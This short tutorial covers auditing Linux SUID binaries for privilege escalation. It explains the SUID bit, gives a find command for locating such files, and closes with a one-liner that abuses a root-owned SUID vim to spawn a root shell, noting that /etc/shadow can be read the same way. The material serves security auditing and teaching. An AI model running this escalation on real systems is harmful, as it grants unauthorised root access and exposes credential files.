Linux Privilege Escalation: Auditing Weak SUID Files

Privilege escalation is the process of leveraging local misconfigurations to upgrade shell permissions from a standard user to administrative root access.

1. What is SUID (Set User ID)?

SUID is a Linux file permission bit. When a file with SUID set is executed, it runs with the permissions of the **file owner** (usually root), rather than the user executing it.

2. Finding SUID Files

Auditors use search queries to locate files with the SUID bit set:

find / -perm -4000 -type f 2>/dev/null

3. Exploitation Example: SUID vim

If a text editor like `vim` has SUID permissions set to root, anyone can run it and read private files (like `/etc/shadow`) or drop straight into a root shell:

vim -c ':py3 import os; os.setuid(0); os.system("/bin/sh")'